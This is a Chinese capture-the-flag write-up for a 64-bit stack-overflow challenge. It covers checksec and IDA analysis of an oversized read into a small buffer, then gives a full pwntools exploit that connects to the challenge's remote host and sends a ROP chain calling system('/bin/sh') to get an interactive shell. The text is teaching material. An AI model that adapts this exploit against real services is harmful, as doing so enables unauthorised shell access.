1、题目描述:给了nc的地址和端口,和一个附件
2、在kali中使用file命令分析该文件,checksec查看是否有保护机制
该文件是ELF格式的可执行文件,适用于64位的系统
没有启动栈保护
3、结合题目描述overflow,推测是栈溢出
4、用ida64分析文件,先查看主函数,这段主函数的关键就是,它定义了一个数组大小是4,而read函数在读取的时候,是读取它的0x100ull这超出了数组的范围,会导致栈溢出
5、双击buf查看buf数组的栈结构,根据这两个关键的数据我们可以知道
- Frame size: 20:这表示栈帧的总大小为 32 字节(20 是 32 的十六进制表示)。栈帧是每个函数调用在栈上分配的内存区域,用于存储局部变量、返回地址、保存的寄存器等。
- Saved regs: 8:这表示保存了 8 字节的寄存器信息。通常这 8 字节用于保存调用函数的返回地址。
6、通过shift+f12来查看调用了哪些函数,这里看到了一个脚本函数,双击/bin/in查看程序地址,查看system函数调用的地址
7、寄存器rdi的地址:
8、构造exp:
from pwn import *
# sh = process('./pwn')
sh = remote('114.67.175.224', 11584)
sh.recvuntil(b'Please Input your name')
pop_rdi_ret = 0x40126b
system_addr = 0x401050
binsh_addr = 0x402004
payload = b'a'*32 + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.send(payload)
sh.interactive()
我们通过构造rop链来执行system("/bin/sh")这个命令,在使用system函数时,它的第一个参数,需要放在rdi寄存器中,而这个参数就是/bin/sh。因此,我们需要rdi,后门函数/bin/sh,system函数这三个地址来构造一个rop链。
9、